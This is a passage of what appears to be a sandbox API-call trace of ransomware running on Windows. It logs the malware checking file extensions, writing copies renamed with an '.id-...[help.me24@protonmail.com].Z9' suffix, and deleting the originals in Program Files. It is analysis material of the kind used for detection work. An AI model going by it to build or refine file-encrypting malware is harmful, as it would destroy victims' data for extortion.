	[0092.009] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0092.009] lstrlenW (lpString=".7z") returned 3
	[0092.009] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0092.009] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msadox.dll") returned 51
	[0092.009] lstrlenW (lpString=".dbf") returned 4
	[0092.009] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0092.009] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msadox.dll") returned 51
	[0092.009] lstrlenW (lpString=".1cd") returned 4
	[0092.009] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0092.009] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msadox.dll") returned 51
	[0092.010] lstrlenW (lpString=".jpg") returned 4
	[0092.010] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0092.010] lstrcmpiW (lpString1=".dll", lpString2=".Z9") returned -1
	[0092.010] lstrlenW (lpString="msadrh15.dll") returned 12
	[0092.010] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msadrh15.dll" (normalized: "c:\\program files\\common files\\system\\ado\\msadrh15.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300
	[0092.012] GetFileSizeEx (in: hFile=0x300, lpFileSize=0x378ff14 | out: lpFileSize=0x378ff14*=91136) returned 1
	[0092.012] CloseHandle (hObject=0x300) returned 1
	[0092.012] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msadrh15.dll" (normalized: "c:\\program files\\common files\\system\\ado\\msadrh15.dll")) returned 0x20
	[0092.012] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msadrh15.dll.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\common files\\system\\ado\\msadrh15.dll.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0092.012] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msadrh15.dll" (normalized: "c:\\program files\\common files\\system\\ado\\msadrh15.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0092.013] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msadrh15.dll") returned 53
	[0092.013] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msadrh15.dll") returned 53
	[0092.013] lstrlenW (lpString=".doc") returned 4
	[0092.013] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0092.013] lstrlenW (lpString=".docx") returned 5
	[0092.013] lstrcmpiW (lpString1=".docx", lpString2="5.dll") returned -1
	[0092.013] lstrlenW (lpString=".pdf") returned 4
	[0092.013] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0092.013] lstrlenW (lpString=".xls") returned 4
	[0092.013] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0092.013] lstrlenW (lpString=".xlsx") returned 5
	[0092.013] lstrcmpiW (lpString1=".xlsx", lpString2="5.dll") returned -1
	[0092.013] lstrlenW (lpString=".ppt") returned 4
	[0092.013] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0092.013] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msadrh15.dll") returned 53
	[0092.013] lstrlenW (lpString=".zip") returned 4
	[0092.013] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0092.013] lstrlenW (lpString=".rar") returned 4
	[0092.013] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0092.013] lstrlenW (lpString=".bz2") returned 4
	[0092.013] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0092.013] lstrlenW (lpString=".7z") returned 3
	[0092.013] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0092.013] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msadrh15.dll") returned 53
	[0092.013] lstrlenW (lpString=".dbf") returned 4
	[0092.013] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0092.013] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msadrh15.dll") returned 53
	[0092.013] lstrlenW (lpString=".1cd") returned 4
	[0092.013] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0092.013] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msadrh15.dll") returned 53
	[0092.013] lstrlenW (lpString=".jpg") returned 4
	[0092.013] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0092.013] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msadrh15.dll") returned 53
	[0092.013] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msadrh15.dll") returned 53
	[0092.014] lstrlenW (lpString=".doc") returned 4
	[0092.014] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0092.014] lstrlenW (lpString=".docx") returned 5
	[0092.014] lstrcmpiW (lpString1=".docx", lpString2="5.dll") returned -1
	[0092.014] lstrlenW (lpString=".pdf") returned 4
	[0092.014] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0092.014] lstrlenW (lpString=".xls") returned 4
	[0092.014] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0092.014] lstrlenW (lpString=".xlsx") returned 5
	[0092.014] lstrcmpiW (lpString1=".xlsx", lpString2="5.dll") returned -1
	[0092.014] lstrlenW (lpString=".ppt") returned 4
	[0092.014] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0092.014] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msadrh15.dll") returned 53
	[0092.014] lstrlenW (lpString=".zip") returned 4
	[0092.014] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0092.014] lstrlenW (lpString=".rar") returned 4
	[0092.014] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0092.014] lstrlenW (lpString=".bz2") returned 4
	[0092.014] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0092.014] lstrlenW (lpString=".7z") returned 3
	[0092.014] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0092.014] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msadrh15.dll") returned 53
	[0092.014] lstrlenW (lpString=".dbf") returned 4
	[0092.014] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0092.014] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msadrh15.dll") returned 53
	[0092.014] lstrlenW (lpString=".1cd") returned 4
	[0092.014] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0092.014] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msadrh15.dll") returned 53
	[0092.014] lstrlenW (lpString=".jpg") returned 4
	[0092.014] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0092.014] lstrcmpiW (lpString1=".mui", lpString2=".Z9") returned -1
	[0092.014] lstrlenW (lpString="msadcer.dll.mui") returned 15
	[0092.015] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\msadc\\en-US\\msadcer.dll.mui" (normalized: "c:\\program files\\common files\\system\\msadc\\en-us\\msadcer.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300
	[0092.022] GetFileSizeEx (in: hFile=0x300, lpFileSize=0x378ff14 | out: lpFileSize=0x378ff14*=10240) returned 1
	[0092.022] CloseHandle (hObject=0x300) returned 1
	[0092.022] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\msadc\\en-US\\msadcer.dll.mui" (normalized: "c:\\program files\\common files\\system\\msadc\\en-us\\msadcer.dll.mui")) returned 0x20
	[0092.022] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\msadc\\en-US\\msadcer.dll.mui.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\common files\\system\\msadc\\en-us\\msadcer.dll.mui.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0092.025] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\msadc\\en-US\\msadcer.dll.mui" (normalized: "c:\\program files\\common files\\system\\msadc\\en-us\\msadcer.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0092.029] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\en-US\\msadcer.dll.mui") returned 64
	[0092.029] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\en-US\\msadcer.dll.mui") returned 64
	[0092.030] lstrlenW (lpString=".doc") returned 4
	[0092.030] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1
	[0092.030] lstrlenW (lpString=".docx") returned 5
	[0092.030] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1
	[0092.030] lstrlenW (lpString=".pdf") returned 4
	[0092.030] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1
	[0092.030] lstrlenW (lpString=".xls") returned 4
	[0092.030] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1
	[0092.030] lstrlenW (lpString=".xlsx") returned 5
	[0092.030] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1
	[0092.030] lstrlenW (lpString=".ppt") returned 4
	[0092.030] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1
	[0092.030] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\en-US\\msadcer.dll.mui") returned 64
	[0092.030] lstrlenW (lpString=".zip") returned 4
	[0092.030] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1
	[0092.030] lstrlenW (lpString=".rar") returned 4
	[0092.030] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1
	[0092.030] lstrlenW (lpString=".bz2") returned 4
	[0092.030] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1
	[0092.030] lstrlenW (lpString=".7z") returned 3
	[0092.030] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1
	[0092.030] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\en-US\\msadcer.dll.mui") returned 64
	[0092.030] lstrlenW (lpString=".dbf") returned 4
	[0092.030] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1
	[0092.030] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\en-US\\msadcer.dll.mui") returned 64
	[0092.030] lstrlenW (lpString=".1cd") returned 4
	[0092.030] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1
	[0092.030] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\en-US\\msadcer.dll.mui") returned 64
	[0092.030] lstrlenW (lpString=".jpg") returned 4
	[0092.030] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1
	[0092.030] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\en-US\\msadcer.dll.mui") returned 64
	[0092.031] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\en-US\\msadcer.dll.mui") returned 64
	[0092.031] lstrlenW (lpString=".doc") returned 4
	[0092.031] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1
	[0092.031] lstrlenW (lpString=".docx") returned 5
	[0092.031] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1
	[0092.031] lstrlenW (lpString=".pdf") returned 4
	[0092.031] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1
	[0092.031] lstrlenW (lpString=".xls") returned 4
	[0092.031] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1
	[0092.031] lstrlenW (lpString=".xlsx") returned 5
	[0092.031] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1
	[0092.031] lstrlenW (lpString=".ppt") returned 4
	[0092.031] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1
	[0092.031] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\en-US\\msadcer.dll.mui") returned 64
	[0092.031] lstrlenW (lpString=".zip") returned 4
	[0092.031] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1
	[0092.031] lstrlenW (lpString=".rar") returned 4
	[0092.031] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1
	[0092.031] lstrlenW (lpString=".bz2") returned 4
	[0092.031] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1
	[0092.031] lstrlenW (lpString=".7z") returned 3
	[0092.031] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1
	[0092.031] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\en-US\\msadcer.dll.mui") returned 64
	[0092.031] lstrlenW (lpString=".dbf") returned 4
	[0092.031] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1
	[0092.031] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\en-US\\msadcer.dll.mui") returned 64
	[0092.031] lstrlenW (lpString=".1cd") returned 4
	[0092.031] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1
	[0092.031] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\en-US\\msadcer.dll.mui") returned 64
	[0092.031] lstrlenW (lpString=".jpg") returned 4
	[0092.031] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1
	[0092.031] lstrcmpiW (lpString1=".dll", lpString2=".Z9") returned -1
	[0092.032] lstrlenW (lpString="msdaprst.dll") returned 12
	[0092.032] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\msadc\\msdaprst.dll" (normalized: "c:\\program files\\common files\\system\\msadc\\msdaprst.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300
	[0092.045] GetFileSizeEx (in: hFile=0x300, lpFileSize=0x378ff14 | out: lpFileSize=0x378ff14*=356352) returned 1
	[0092.045] CloseHandle (hObject=0x300) returned 1
	[0092.045] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\msadc\\msdaprst.dll" (normalized: "c:\\program files\\common files\\system\\msadc\\msdaprst.dll")) returned 0x20
	[0092.046] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\msadc\\msdaprst.dll.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\common files\\system\\msadc\\msdaprst.dll.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0092.046] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\msadc\\msdaprst.dll" (normalized: "c:\\program files\\common files\\system\\msadc\\msdaprst.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0092.046] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\msdaprst.dll") returned 55
	[0092.046] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\msdaprst.dll") returned 55
	[0092.046] lstrlenW (lpString=".doc") returned 4
	[0092.046] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0092.046] lstrlenW (lpString=".docx") returned 5
	[0092.046] lstrcmpiW (lpString1=".docx", lpString2="t.dll") returned -1
	[0092.046] lstrlenW (lpString=".pdf") returned 4
	[0092.046] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0092.046] lstrlenW (lpString=".xls") returned 4
	[0092.046] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0092.046] lstrlenW (lpString=".xlsx") returned 5
	[0092.046] lstrcmpiW (lpString1=".xlsx", lpString2="t.dll") returned -1
	[0092.046] lstrlenW (lpString=".ppt") returned 4
	[0092.046] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0092.046] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\msdaprst.dll") returned 55
	[0092.046] lstrlenW (lpString=".zip") returned 4
	[0092.046] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0092.046] lstrlenW (lpString=".rar") returned 4
	[0092.046] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0092.046] lstrlenW (lpString=".bz2") returned 4
	[0092.046] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0092.046] lstrlenW (lpString=".7z") returned 3
	[0092.046] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0092.046] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\msdaprst.dll") returned 55
	[0092.046] lstrlenW (lpString=".dbf") returned 4
	[0092.046] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0092.112] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1
	[0092.113] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1
	[0092.113] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\bci.dll.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\bci.dll.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c
	[0092.113] GetLastError () returned 0x0
	[0092.113] ReadFile (in: hFile=0x388, lpBuffer=0x3b28020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b28020*, lpNumberOfBytesRead=0x378fecc*=0x4240, lpOverlapped=0x0) returned 1
	[0092.116] WriteFile (in: hFile=0x38c, lpBuffer=0x3b28020*, nNumberOfBytesToWrite=0x4250, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b28020*, lpNumberOfBytesWritten=0x378fc94*=0x4250, lpOverlapped=0x0) returned 1
	[0092.117] ReadFile (in: hFile=0x388, lpBuffer=0x3b28020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b28020*, lpNumberOfBytesRead=0x378fecc*=0x0, lpOverlapped=0x0) returned 1
	[0092.117] WriteFile (in: hFile=0x38c, lpBuffer=0x3b28020*, nNumberOfBytesToWrite=0xe2, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b28020*, lpNumberOfBytesWritten=0x378fc94*=0xe2, lpOverlapped=0x0) returned 1
	[0092.117] SetEndOfFile (hFile=0x38c) returned 1
	[0092.117] CloseHandle (hObject=0x38c) returned 1
	[0092.117] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1
	[0092.117] SetEndOfFile (hFile=0x388) returned 1
	[0092.118] CloseHandle (hObject=0x388) returned 1
	[0092.118] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\bci.dll.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x20) returned 1
	[0092.118] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\bci.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\bci.dll")) returned 1
	[0092.119] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\bci.dll") returned 46
	[0092.119] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\bci.dll") returned 46
	[0092.119] lstrlenW (lpString=".doc") returned 4
	[0092.119] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0092.119] lstrlenW (lpString=".docx") returned 5
	[0092.119] lstrcmpiW (lpString1=".docx", lpString2="i.dll") returned -1
	[0092.119] lstrlenW (lpString=".pdf") returned 4
	[0092.119] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0092.119] lstrlenW (lpString=".xls") returned 4
	[0092.119] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0092.119] lstrlenW (lpString=".xlsx") returned 5
	[0092.119] lstrcmpiW (lpString1=".xlsx", lpString2="i.dll") returned -1
	[0092.119] lstrlenW (lpString=".ppt") returned 4
	[0092.119] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0092.119] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\bci.dll") returned 46
	[0092.119] lstrlenW (lpString=".zip") returned 4
	[0092.119] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0092.119] lstrlenW (lpString=".rar") returned 4
	[0092.119] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0092.119] lstrlenW (lpString=".bz2") returned 4
	[0092.119] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0092.119] lstrlenW (lpString=".7z") returned 3
	[0092.119] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0092.119] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\bci.dll") returned 46
	[0092.119] lstrlenW (lpString=".dbf") returned 4
	[0092.119] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0092.119] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\bci.dll") returned 46
	[0092.119] lstrlenW (lpString=".1cd") returned 4
	[0092.120] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0092.120] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\bci.dll") returned 46
	[0092.120] lstrlenW (lpString=".jpg") returned 4
	[0092.120] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0092.120] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\bci.dll") returned 46
	[0092.120] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\bci.dll") returned 46
	[0092.120] lstrlenW (lpString=".doc") returned 4
	[0092.120] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0092.120] lstrlenW (lpString=".docx") returned 5
	[0092.120] lstrcmpiW (lpString1=".docx", lpString2="i.dll") returned -1
	[0092.120] lstrlenW (lpString=".pdf") returned 4
	[0092.120] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0092.120] lstrlenW (lpString=".xls") returned 4
	[0092.120] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0092.120] lstrlenW (lpString=".xlsx") returned 5
	[0092.120] lstrcmpiW (lpString1=".xlsx", lpString2="i.dll") returned -1
	[0092.120] lstrlenW (lpString=".ppt") returned 4
	[0092.120] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0092.120] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\bci.dll") returned 46
	[0092.120] lstrlenW (lpString=".zip") returned 4
	[0092.120] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0092.120] lstrlenW (lpString=".rar") returned 4
	[0092.120] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0092.120] lstrlenW (lpString=".bz2") returned 4
	[0092.120] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0092.120] lstrlenW (lpString=".7z") returned 3
	[0092.120] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0092.120] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\bci.dll") returned 46
	[0092.120] lstrlenW (lpString=".dbf") returned 4
	[0092.120] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0092.120] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\bci.dll") returned 46
	[0092.120] lstrlenW (lpString=".1cd") returned 4
	[0092.120] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0092.120] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\bci.dll") returned 46
	[0092.121] lstrlenW (lpString=".jpg") returned 4
	[0092.121] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0092.121] lstrcmpiW (lpString1=".dll", lpString2=".Z9") returned -1
	[0092.121] lstrlenW (lpString="dcpr.dll") returned 8
	[0092.121] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dcpr.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\dcpr.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388
	[0092.121] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x378ff14 | out: lpFileSize=0x378ff14*=159808) returned 1
	[0092.121] CloseHandle (hObject=0x388) returned 1
	[0092.121] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dcpr.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\dcpr.dll")) returned 0x20
	[0092.121] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dcpr.dll.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\dcpr.dll.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0092.121] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dcpr.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\dcpr.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388
	[0092.121] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1
	[0092.121] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1
	[0092.122] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dcpr.dll.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\dcpr.dll.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c
	[0092.122] GetLastError () returned 0x0
	[0092.122] ReadFile (in: hFile=0x388, lpBuffer=0x3b28020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b28020*, lpNumberOfBytesRead=0x378fecc*=0x27040, lpOverlapped=0x0) returned 1
	[0092.127] WriteFile (in: hFile=0x38c, lpBuffer=0x3b28020*, nNumberOfBytesToWrite=0x27050, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b28020*, lpNumberOfBytesWritten=0x378fc94*=0x27050, lpOverlapped=0x0) returned 1
	[0092.130] ReadFile (in: hFile=0x388, lpBuffer=0x3b28020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b28020*, lpNumberOfBytesRead=0x378fecc*=0x0, lpOverlapped=0x0) returned 1
	[0092.130] WriteFile (in: hFile=0x38c, lpBuffer=0x3b28020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b28020*, lpNumberOfBytesWritten=0x378fc94*=0xe4, lpOverlapped=0x0) returned 1
	[0092.130] SetEndOfFile (hFile=0x38c) returned 1
	[0092.130] CloseHandle (hObject=0x38c) returned 1
	[0092.131] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1
	[0092.131] SetEndOfFile (hFile=0x388) returned 1
	[0092.414] CloseHandle (hObject=0x388) returned 1
	[0092.414] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dcpr.dll.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x20) returned 1
	[0092.414] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dcpr.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\dcpr.dll")) returned 1
	[0092.414] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dcpr.dll") returned 47
